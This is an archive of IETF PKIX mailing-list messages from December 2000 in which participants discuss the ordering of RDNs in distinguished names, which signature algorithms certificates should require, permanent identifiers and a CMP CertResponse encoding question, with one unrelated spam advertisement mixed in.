Message-ID: <1BE57AA01A5ED411866500B0D049657B42A5A5@exchange.cylink.com>
From: "Covey, Carlin" <ccovey@cylink.com>
To: ietf-pkix@imc.org
Subject: Ordering of RDN's within the DN
Date: Fri, 22 Dec 2000 08:58:20 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

Does anyone know of a standard ordering for the RDN's for locality, state,
and postalCode when they appear in a DN?

- Carlin Covey
  Cylink Corp.


From owner-ietf-pkix@imc.org  Fri Dec 22 12:46:03 2000
Received: from ns.secondary.com (ns.secondary2.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA08612
	for <pkix-archive@odin.ietf.org>; Fri, 22 Dec 2000 12:46:02 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id JAA07355;
	Fri, 22 Dec 2000 09:42:29 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 22 Dec 2000 09:42:24 -0800
Received: from mail.phaos.com ([206.30.74.234])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA07321
	for <ietf-pkix@imc.org>; Fri, 22 Dec 2000 09:42:22 -0800 (PST)
Received: from phaos_arik (ruskie.spacerat.com [207.51.38.135])
	by mail.phaos.com (8.9.2/8.9.2) with ESMTP id QAA05291
	for <ietf-pkix@imc.org>; Fri, 22 Dec 2000 16:43:21 -0500 (EST)
	(envelope-from arik@phaos.com)
Message-Id: <4.2.0.58.20001222122647.00bd4240@mail.phaos.com>
X-Sender: arik@mail.phaos.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Fri, 22 Dec 2000 12:54:57 -0500
To: ietf-pkix@imc.org
From: Ari Kermaier <arik@phaos.com>
Subject: Re: Required Algorithms for Certificates
In-Reply-To: <3A42A01F.A8B1EE7A@xcert.com>
References: <4.2.0.58.20001221162051.01e8f580@email.nist.gov>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe


>There's the rub.  PKIX can't choose a (set of) algorithm(s) because PKIX is
>so broadly applicable that any choice would shut out a particular community.
>It looks like algorithm choice is really up to the application.

I think this is an essential point. I believe that the goal of a 
specification like rfc2459 should be to maximize generality and 
interoperability, *not* to make it as easy as possible for every 
application developer to claim standards compliance in their marketing 
materials. Making RSA signatures MUST for CAs and both RSA and DSA MUST for 
user-agents guarantees both general interoperability and backwards 
compatibility. If a given vendor does not wish to support DSA, then his 
software will probably work in most cases. The decision to risk 
interoperability failure in some circumstances is his choice, and standards 
bodies should not be in the business of making him feel better about that 
choice. The idea of being able to (proudly?) claim standards compliance is 
the implication that this is some guarantee of 
completeness/robustness/ineroperability. If we relax the standards to make 
everything I'm-OK-you're-OK, then standards compliance becomes more a 
marketing tool than a yardstick of good implementations.

> > If PKIX decides to specify MUSTs or SHOULDs, they should be designed to
> > support broad interoperability.
>
>Yes, but what kind of interoperability?  Does an S/MIME cert have to be
>interoperable with an SSL cert?  Put another way, will an S/MIME application
>ever need to use or process an SSL or IPSec cert?  I say no.  If you accept
>that, then interoperability across all protocols becomes meaningless.

I don't accept that. There does not need to be any essential difference 
between an S/MIME cert and an SSL cert. If we make standards that encode 
the expectation that every application will need to use its own 
certificate, then we encourage unnecessary fragmentation of functionality 
and proliferation of keypairs. If an SSL certificate (what does that mean, 
BTW?) can be used to verify signatures on an S/MIME message, that means 
that an S/MIME application should be able to process it. If we say "well, 
if you wanted to sign S/MIME you should've made sure your integrated 
application had separate keypairs for each function" then we destroy the 
generality of the X.509 certificate design.

>So it makes sense for the algorithm decision to be in the hands of the
>protocols that adopt PKIX.  In fact, the "users" of PKIX are really other
>IETF protocols.  Therefore, I suggest that PKIX have only one MUST with
>respect to algorithms:

Yes, protocols -- but not individual implementers. For example, the CRFM 
spec (rfc2511) defines the PasswordBasedMac algorithm to be able to use any 
appropriate OWF and MAC algorithms, but mandates the use of SHA-1 and 
HMAC-SHA1 for CMP/CRMF. This means that somebody who would rather use MD5 
in his CMP implementation is free to do so, but is not free to claim 
compliance with rfc2511.

Ari Kermaier
Phaos Technology


From owner-ietf-pkix@imc.org  Sat Dec 23 15:55:44 2000
Received: from ns.secondary.com ([208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA06843
	for <pkix-archive@odin.ietf.org>; Sat, 23 Dec 2000 15:55:44 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id MAA11104;
	Sat, 23 Dec 2000 12:50:22 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Sat, 23 Dec 2000 12:48:44 -0800
Received: from smtp02.mrf.mail.rcn.net (smtp02.mrf.mail.rcn.net [207.172.4.61])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA10949
	for <ietf-pkix@imc.org>; Sat, 23 Dec 2000 12:48:36 -0800 (PST)
Received: from 66-44-92-145.s526.tnt7.lnhva.md.dialup.rcn.com ([66.44.92.145] helo=RHOUSLEY-PC.spyrus.com)
	by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.16 #5)
	id 149veC-00062E-00 ; Sat, 23 Dec 2000 15:52:09 -0500
Message-Id: <5.0.1.4.2.20001223154237.02ccb878@mail.spyrus.com>
X-Sender: rhousley@mail.spyrus.com (Unverified)
X-Mailer: QUALCOMM Windows Eudora Version 5.0.1
Date: Sat, 23 Dec 2000 15:43:25 -0500
To: "Covey, Carlin" <ccovey@cylink.com>
From: Russ Housley <housley@spyrus.com>
Subject: Re: Ordering of RDN's within the DN
Cc: ietf-pkix@imc.org
In-Reply-To: <1BE57AA01A5ED411866500B0D049657B42A5A5@exchange.cylink.com
 >
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

Carlin:

You local schema determines the ordering.  The X.500 series of 
recommendations does not impose an ordering.

Russ

At 08:58 AM 12/22/2000 -0800, Covey, Carlin wrote:
>Does anyone know of a standard ordering for the RDN's for locality, state,
>and postalCode when they appear in a DN?
>
>- Carlin Covey
>   Cylink Corp.



From owner-ietf-pkix@imc.org  Mon Dec 25 13:00:10 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA29520
	for <pkix-archive@odin.ietf.org>; Mon, 25 Dec 2000 13:00:10 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id JAA10111;
	Mon, 25 Dec 2000 09:55:51 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Mon, 25 Dec 2000 09:54:29 -0800
Received: from sem_mail.smkb.ac.il (skbb3.skb2.macam.ac.il [192.115.171.3])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA09962;
	Mon, 25 Dec 2000 09:54:26 -0800 (PST)
From: hj4hj6@yahoo.com
Received: from 65kk9F90U (1Cust34.tnt21.lax3.da.uu.net [63.28.123.34]) by sem_mail.smkb.ac.il with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0)
	id Y4M7R6CB; Thu, 21 Dec 2000 23:32:23 +0200
DATE: 21 Dec 00 1:39:24 PM
Message-ID: <Lt03hk9apq12xYq>
SUBJECT: Improve your stepfamily life
Precedence: bulk
To: undisclosed-recipients:;
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

Does your stepfamily life resemble a soap opera more than it does the Brady
Bunch?

The Stepfamily Association of America invites you to participate in THE
NATIONAL CONFERENCE FOR STEPFAMILIES, Feb. 23-24, 2001, at the New Orleans
Marriott Hotel.

This is an opportunity, designed by knowledgeable professionals, in
stepfamilies themselves, to help you:
* Make your remarriage a success
* Create bonds with your stepchildren
* Help your children adjust emotionally
* Manage money matters unique to your family
* Get more help from legal, financial, psychological advisors
* Overcome stepfather and stepmother stereotypes
* Elicit cooperation from your children's schools
* Bring more harmony into family life

Complete conference details at http://www.edupr.com
REGISTER ONLINE!

Attend, and also enjoy Mardi Gras week in New Orleans!

Special discounts for couples, students, groups.

HOTEL IS BOOKING UP FAST. ACT NOW BEFORE ROOM BLOCK AND
AIRLINE SEATS FILL Special rates for conference attendees. Visit
http://www.edupr.com for discounts. Childcare available through a bonded
local service.

Up to 17 professional development credits available if you are an 			
educator, clinician, financial planner, social worker.

Questions? Email stepfamilyconf@mail.com

If you would like to be removed, please email us back with the word "Remove" in the subject line. We apologize for any inconvenience.



From owner-ietf-pkix@imc.org  Tue Dec 26 09:26:03 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA19391
	for <pkix-archive@odin.ietf.org>; Tue, 26 Dec 2000 09:26:02 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id GAA17190;
	Tue, 26 Dec 2000 06:21:29 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Tue, 26 Dec 2000 06:20:55 -0800
Received: from odin2.bull.net (odin2.bull.net [192.90.70.84])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id GAA17148
	for <ietf-pkix@imc.org>; Tue, 26 Dec 2000 06:20:53 -0800 (PST)
Received: from lvt-mail.frlv.bull.fr (lvt-mail.frlv.bull.fr [129.184.62.223])
	by odin2.bull.net (8.9.3/8.9.3) with ESMTP id PAA22508;
	Tue, 26 Dec 2000 15:31:18 +0100
Received: from bull.net (frlva3786.frlv.bull.fr [129.184.37.97])
	by lvt-mail.frlv.bull.fr (8.9.2/8.9.1) with ESMTP id PAA21762;
	Tue, 26 Dec 2000 15:24:07 +0100
Message-ID: <3A48AA07.77D2D28F@bull.net>
Date: Tue, 26 Dec 2000 15:24:07 +0100
From: Denis Pinkas <Denis.Pinkas@bull.net>
Organization: Bull
X-Mailer: Mozilla 4.7 [fr] (Win98; I)
X-Accept-Language: fr
MIME-Version: 1.0
To: Anders Rundgren <anders.rundgren@telia.com>
CC: PKIX-List <ietf-pkix@imc.org>
Subject: Re: National Identifier into Serial Number or SubjectAltName? (Was: 
 Why   don't using Permanent Identifier on QC certificates?)
References: <OMEPKMCLOLGHNMNOJKKIGEFHCCAA.juancarlos.perez@acepta.com> <3A41C918.3A44C888@bull.net> <004501c06b6d$f05d2f60$0201a8c0@vincent.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 7bit

Anders,

> > I would use a different example:
> >
> > C= CL, O= My org, OU = my Unit, CN = Jhon Davis and serial number = 22
> > C= CL, O= My org, OU = my Unit, CN = Jhon Davis and serail number = 23
> >
> > These two individuals are different. Their names are unique. However, their
> > serial numbers no NOT relate to any national identification scheme. The PI could
> > suport a national identification scheme or any other identification scheme.
> >
> > This means that there exist cases where both the serial number from the DN and
> > the PI have some reason to co-exist.
> 
> Juan and Denis,
> 
> Technically possible solution yes, but inserting disambiguating nonsense serial numbers in the DN when
> you actually have a unique identity number (national or other) seems like a very odd solution.

The specification of a DN does NOT say that serial number by its own is
unique. It says that taking all the components of the DN, including (if
present) the serial number, makes the name unique for the CA. Unfortunately,
we are not able to change this.

> For migration purposes CAs will have to continue "to put the identity in the DN" essentially
> until/if PI is built into the heart of all major RP software. The current solution is to use external "mapping
> software" that extract PI-info and supply "naming authority" externally. 

You are perfectly right. But this means that the mapping can only be
application dependent.

> As the number of CAs that
> a given RP is likely to support/trust is likely to be fairly limited, this makes PI somewhat redundant.

Not exactly. It will avoid to do the mapping you were talking of, and thus
will allow interoperability between applications.

> If PI instead had been targeted to support the existing DN mapping processes instead of creating new
> places to stuff partly redundant identity information (efectively "competing with DN"), it would had been a
> nicer option.

It has been a solution we thought of, when we started, but this would have
mandated some kind of ordering of the elements of the DNs and such an
ordering is not allowed by the standard. There was no support to amend the
standard in that direction and thus why this option has been discarded.

> Or you can of course use the following semantics: If there is a PI - ignore DN completely.  It should
> only be used for "display purposes".  I find this neither compatible with current practice nor with QC.

The DN and the PI serves two different purposes: the DN is, as you say, for
"display purposes", hence for use by human beings. The PI is for use by
computers.

Thanks for your interest in the topic,

Denis

> Anders


From owner-ietf-pkix@imc.org  Wed Dec 27 14:06:41 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA20475
	for <pkix-archive@odin.ietf.org>; Wed, 27 Dec 2000 14:06:40 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id LAA25793;
	Wed, 27 Dec 2000 11:01:43 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Wed, 27 Dec 2000 11:00:09 -0800
Received: from ext-mail.valicert.com (ns1.valicert.com [63.65.221.10])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA25659
	for <ietf-pkix@imc.org>; Wed, 27 Dec 2000 11:00:08 -0800 (PST)
Received: from CONVERSION-DAEMON by ext-mail.valicert.com (PMDF V5.2-33 #46613)
 id <0G6800E01QAJ1F@ext-mail.valicert.com> for ietf-pkix@imc.org; Wed,
 27 Dec 2000 11:03:55 -0800 (PST)
Received: from polaris.valicert.com ([192.168.2.34])
 by ext-mail.valicert.com (PMDF V5.2-33 #46613)
 with ESMTP id <0G680053XQAJVD@ext-mail.valicert.com>; Wed,
 27 Dec 2000 11:03:55 -0800 (PST)
Received: by exchange.valicert.com with Internet Mail Service (5.5.2650.21)
 id <ZLX2SL6S>; Wed, 27 Dec 2000 11:00:24 -0800
Content-return: allowed
Date: Wed, 27 Dec 2000 11:00:17 -0800
From: Peter Williams <peterw@valicert.com>
Subject: RE: Ordering of RDN's within the DN
To: "'Covey, Carlin'" <ccovey@cylink.com>, ietf-pkix@imc.org
Message-id: <613B3C619C9AD4118C4E00B0D03E7C3E182B41@exchange.valicert.com>
MIME-version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-type: text/plain;	charset="iso-8859-1"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

NADF was one standards organization (defunct, but at one
time respected by our leaders) that specifies a naming architecture
that structures and organizes certain namespaces, by RDN. The
architecture was founded on the need for cooperative
management of a shared namespace by competitive providers. The
NBDF addressed the issues in focus in a public directory in which 
otherwise privately-managed names(disclosing considerable intelligence 
about a company) would be partially disclosed.

NADF essentially specified a "Bridge-Directory". There
was a specific naming concept that interact with PKI
DN naming - where cert DNs and directory DNs are not
the same, to accomodate realworld needs for name
management and name distribution privacy requirements.

http://www.cis.ohio-state.edu/htbin/rfc/rfc1417.html

-----Original Message-----
From: Covey, Carlin [mailto:ccovey@cylink.com]
Sent: Friday, December 22, 2000 8:58 AM
To: ietf-pkix@imc.org
Subject: Ordering of RDN's within the DN


Does anyone know of a standard ordering for the RDN's for locality, state,
and postalCode when they appear in a DN?

- Carlin Covey
  Cylink Corp.


From owner-ietf-pkix@imc.org  Wed Dec 27 15:01:15 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA23481
	for <pkix-archive@odin.ietf.org>; Wed, 27 Dec 2000 15:01:15 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id LAA29736;
	Wed, 27 Dec 2000 11:57:13 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Wed, 27 Dec 2000 11:56:59 -0800
Received: from exchsrv1.cosinecom.com (mail.cosinecom.com [63.88.104.16])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA29695
	for <ietf-pkix@imc.org>; Wed, 27 Dec 2000 11:56:58 -0800 (PST)
Received: by exchsrv1.cosinecom.com with Internet Mail Service (5.5.2650.21)
	id <Y4YLXRTL>; Wed, 27 Dec 2000 11:58:23 -0800
Message-ID: <7EB7C6B62C4FD41196A80090279A2911016E0B13@exchsrv1.cosinecom.com>
From: Paul Lambert <Paul.Lambert@cosinecom.com>
To: "'Peter Williams'" <peterw@valicert.com>,
        "'Covey, Carlin'"
	 <ccovey@cylink.com>, ietf-pkix@imc.org
Subject: RE: Ordering of RDN's within the DN
Date: Wed, 27 Dec 2000 11:58:21 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C0703F.5D06A120"
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0703F.5D06A120
Content-Type: text/plain;
	charset="iso-8859-1"


The ftp archive referenced in rfc1417 no longer contain the documents.  

Try: http://www.ten-34.net/np/ds/nadf.html

Paul

-----Original Message-----
From: Peter Williams [mailto:peterw@valicert.com]
Sent: Wednesday, December 27, 2000 11:00 AM
To: 'Covey, Carlin'; ietf-pkix@imc.org
Subject: RE: Ordering of RDN's within the DN


NADF was one standards organization (defunct, but at one
time respected by our leaders) that specifies a naming architecture
that structures and organizes certain namespaces, by RDN. The
architecture was founded on the need for cooperative
management of a shared namespace by competitive providers. The
NBDF addressed the issues in focus in a public directory in which 
otherwise privately-managed names(disclosing considerable intelligence 
about a company) would be partially disclosed.

NADF essentially specified a "Bridge-Directory". There
was a specific naming concept that interact with PKI
DN naming - where cert DNs and directory DNs are not
the same, to accomodate realworld needs for name
management and name distribution privacy requirements.

http://www.cis.ohio-state.edu/htbin/rfc/rfc1417.html

-----Original Message-----
From: Covey, Carlin [mailto:ccovey@cylink.com]
Sent: Friday, December 22, 2000 8:58 AM
To: ietf-pkix@imc.org
Subject: Ordering of RDN's within the DN


Does anyone know of a standard ordering for the RDN's for locality, state,
and postalCode when they appear in a DN?

- Carlin Covey
  Cylink Corp.

------_=_NextPart_001_01C0703F.5D06A120
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: Ordering of RDN's within the DN</TITLE>
</HEAD>
<BODY>
<BR>

<P><FONT SIZE=3D2>The ftp archive referenced in rfc1417 no longer =
contain the documents.&nbsp; </FONT>
</P>

<P><FONT SIZE=3D2>Try: <A =
HREF=3D"http://www.ten-34.net/np/ds/nadf.html" =
TARGET=3D"_blank">http://www.ten-34.net/np/ds/nadf.html</A></FONT>
</P>

<P><FONT SIZE=3D2>Paul</FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Peter Williams [<A =
HREF=3D"mailto:peterw@valicert.com">mailto:peterw@valicert.com</A>]</FON=
T>
<BR><FONT SIZE=3D2>Sent: Wednesday, December 27, 2000 11:00 AM</FONT>
<BR><FONT SIZE=3D2>To: 'Covey, Carlin'; ietf-pkix@imc.org</FONT>
<BR><FONT SIZE=3D2>Subject: RE: Ordering of RDN's within the DN</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>NADF was one standards organization (defunct, but at =
one</FONT>
<BR><FONT SIZE=3D2>time respected by our leaders) that specifies a =
naming architecture</FONT>
<BR><FONT SIZE=3D2>that structures and organizes certain namespaces, by =
RDN. The</FONT>
<BR><FONT SIZE=3D2>architecture was founded on the need for =
cooperative</FONT>
<BR><FONT SIZE=3D2>management of a shared namespace by competitive =
providers. The</FONT>
<BR><FONT SIZE=3D2>NBDF addressed the issues in focus in a public =
directory in which </FONT>
<BR><FONT SIZE=3D2>otherwise privately-managed names(disclosing =
considerable intelligence </FONT>
<BR><FONT SIZE=3D2>about a company) would be partially =
disclosed.</FONT>
</P>

<P><FONT SIZE=3D2>NADF essentially specified a =
&quot;Bridge-Directory&quot;. There</FONT>
<BR><FONT SIZE=3D2>was a specific naming concept that interact with =
PKI</FONT>
<BR><FONT SIZE=3D2>DN naming - where cert DNs and directory DNs are =
not</FONT>
<BR><FONT SIZE=3D2>the same, to accomodate realworld needs for =
name</FONT>
<BR><FONT SIZE=3D2>management and name distribution privacy =
requirements.</FONT>
</P>

<P><FONT SIZE=3D2><A =
HREF=3D"http://www.cis.ohio-state.edu/htbin/rfc/rfc1417.html" =
TARGET=3D"_blank">http://www.cis.ohio-state.edu/htbin/rfc/rfc1417.html</=
A></FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Covey, Carlin [<A =
HREF=3D"mailto:ccovey@cylink.com">mailto:ccovey@cylink.com</A>]</FONT>
<BR><FONT SIZE=3D2>Sent: Friday, December 22, 2000 8:58 AM</FONT>
<BR><FONT SIZE=3D2>To: ietf-pkix@imc.org</FONT>
<BR><FONT SIZE=3D2>Subject: Ordering of RDN's within the DN</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>Does anyone know of a standard ordering for the RDN's =
for locality, state,</FONT>
<BR><FONT SIZE=3D2>and postalCode when they appear in a DN?</FONT>
</P>

<P><FONT SIZE=3D2>- Carlin Covey</FONT>
<BR><FONT SIZE=3D2>&nbsp; Cylink Corp.</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0703F.5D06A120--


From owner-ietf-pkix@imc.org  Thu Dec 28 17:25:47 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA20240
	for <pkix-archive@odin.ietf.org>; Thu, 28 Dec 2000 17:25:47 -0500 (EST)
Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id OAA04514;
	Thu, 28 Dec 2000 14:21:12 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 28 Dec 2000 14:19:59 -0800
Received: from mail.phaos.com ([206.30.74.234])
	by ns.secondary.com (8.9.3/8.9.3) with ESMTP id OAA04451
	for <ietf-pkix@imc.org>; Thu, 28 Dec 2000 14:19:58 -0800 (PST)
Received: from phaos_arik (ruskie.spacerat.com [207.51.38.135])
	by mail.phaos.com (8.9.2/8.9.2) with ESMTP id VAA20219
	for <ietf-pkix@imc.org>; Thu, 28 Dec 2000 21:23:14 -0500 (EST)
	(envelope-from arik@phaos.com)
Message-Id: <4.2.0.58.20001228172902.00bd84f0@mail.phaos.com>
X-Sender: arik@mail.phaos.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Thu, 28 Dec 2000 17:33:25 -0500
To: ietf-pkix@imc.org
From: Ari Kermaier <arik@phaos.com>
Subject: rfc2510bis (CMP) question
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe

draft-ietf-pkix-rfc2510bis-02 section 3.3.4 has the following syntax for a 
certification response:

   CertResponse ::= SEQUENCE {
       certReqId           INTEGER,
       -- to match this response with corresponding request (a value
       -- of -1 is to be used if certReqId is not specified in the
       -- corresponding request)
       status              PKIStatusInfo,
       certifiedKeyPair    CertifiedKeyPair    OPTIONAL,
       rspInfo             OCTET STRING        OPTIONAL
       -- analogous to the id-regInfo-utf8Pairs OCTET STRING defined
       -- for regInfo in CertReqMsg [rfc2511bis]
   }

I don't understand the comment for the rspInfo field -- rfc2511bis has the 
UTF8Pairs registration info value defined as UTF8String, not OCTET STRING. 
Can anyone enlighten me as to how rspInfo is supposed to be encoded?

Thanks,

Ari Kermaier
Phaos Technology



From owner-ietf-pkix@imc.org  Fri Dec 29 13:19:39 2000
Received: from ns.secondary.com (ns.secondary.com [208.184.76.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA11254
	for <pkix-archive@odin.ietf.org>; Fri, 29 Dec 2000 13:19:39 -0500 (EST)
Received: from localhost (daemon@localhost)
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id KAA26397;
	Fri, 29 Dec 2000 10:15:28 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Fri, 29 Dec 2000 10:14:58 -0800
Received: from prv-mail20.provo.novell.com (prv-mail20.provo.novell.com [137.65.81.122])
	by ns.secondary.com (8.9.3/8.9.3) with SMTP id KAA26338
	for <ietf-pkix@imc.org>; Fri, 29 Dec 2000 10:14:57 -0800 (PST)
Received: from INET-PRV-Message_Server by prv-mail20.provo.novell.com
	with Novell_GroupWise; Fri, 29 Dec 2000 11:18:15 -0700
Message-Id: <sa4c72f7.079@prv-mail20.provo.novell.com>
X-Mailer: Novell GroupWise Internet Agent 5.5.5.1
Date: Fri, 29 Dec 2000 11:18:10 -0700
From: "Bob Jueneman" <bjueneman@novell.com>
To: <ietf-pkix@imc.org>, <tim.polk@nist.gov>, <paul.hoffman@vpnc.org>
Subject: RE: Required Algorithms for Certificates
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id KAA26339
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe
Content-Transfer-Encoding: 8bit

I agree with Paul. I see absolutely no move to support DSA/DH in S/MIME, 
SSL/TLS, or IPSEC, regardless of what the IETF standards state.

We implemented DSA within NICI primarily because it was available in BSAFE, 
relatively easy to do, and was required for any meaningful compliance with 
FIPS 140-1 at the time, NOT because we expected anyone to ever use it.

Within a more or less general-purpose crypto library, the overhead isn't all that
great, and clearly there isn't any issue of interoperability at the API level to 
worry about, so in that environment I more or less don't care.  However, if
I were trying to develop some crypto applications on a tiny-weenie processor
like a credit card, that would be a much different story. Then I would simply
be non-compliant, rather than include something that provided me no benefit.

Other than avoiding the intellectual property issues (which are now moot), I see 
no reason to make DSA even a SHOULD, much less a MUST.  I wouldn't argue
with a MAY, if that helps people (both of them? :-) who have already implemented 
DSA because they actually believed the standards, or because they thought that 
if the Government required it as part of their procurement specs, they would actually 
buy (only) those products that complied. But I don't think there is any issue that DSA 
is a dead horse.

The real issue, I believe, is going to be between RSA and ECDSA.  RSA obviously 
has a lot going for it as the de facto standard.  And ECDSA also has a lot going for it,
in terms of compactness and minimum power requirements.

I don't have a good crystal ball that would tell me whether WAP and some of the 
other wireless applications are going to succeed or fail. Personally, I have a 
mini-browser built into my cellular phone (a Samsung), and I have yet to find ANY
application for it that is worth the hassle, much less the airtime.  Maybe if I were 
a day trader I would view things differently.

But although I'm still looking for that killer application, I would not be inclined
to bet against the possibility.  Somebody, somewhere, will probably come up with
something useful.

And in that case, I think that ECDSA will become a requirement.

Because of all of the existing CAs and certificates, those applications are going 
to have to continue to support RSA-signed certificates for the indefinite future.
Fortunately, validating an RSA signature is a lot easier than generating one.

But because digitally signing something is a lot easier (in terms of power and 
size) with ECDSA, end-user certs for such applications are going to have to 
contain ECDSA signing keys, even if the certificates themselves are signed 
with RSA for the time being.  And there will be pressure to have the certs 
themselves signed with ECDSA, in order to reduce the overall size.

So maybe the requirement hasn't quite materialized, but I would support making
RSA a MUST, deprecating DSA to a MAY, and making ECDSA a SHOULD, 
with the option of transitioning ECDSA to a MUST if and when a critical mass 
of implementations and users can be demonstrated.

Bob

Robert R. Jueneman
Security Architect
Novell, Inc -- the leading provider of Net services software




>>> Paul Hoffman / VPNC <paul.hoffman@vpnc.org> 12/21/00 04:53PM >>>
At 5:04 PM -0500 12/21/00, Tim Polk wrote:
>If PKIX decides to specify MUSTs or SHOULDs, they should be designed 
>to support broad interoperability.

Exactly. It is easier to get interoperability with one algorithm than 
with two, particularly when one of those algorithms hasn't been 
widely implemented and tested in products.

>Interoperability is a prime concern here at NIST.  In terms of 
>algorithm independence, we have come to the conclusion that 
>interoperability *requires* multi-algorithm clients.

Could you explain the logic there a bit more? If only one algorithm 
is mandated, how does that leasd to less interoperability?

>This implies that we need to move the burden to the clients, even 
>though that will impact many clients.

Here we disagree. Do you *really* think that all the IPsec 
implementations and all the S/MIME implementations are going to add 
DSA support? That is certainly not what I hear from the members of my 
organizations; even the ones who do DSA support are not sure that it 
works that well because it is rarely tested.

>   If a PKIX client can validate both DSA and RSA signatures, it can 
>handle certificates from any CA when signed with a PKIX-specified 
>algorithm.

If we only mandate RSA, well, you can fill in the rest...

>The question is whether multiple algorithm support is a practical 
>requirement for clients.  I just took a few minutes to scan the FIPS 
>140-1 validated crypto module list.  This list currently has 130 
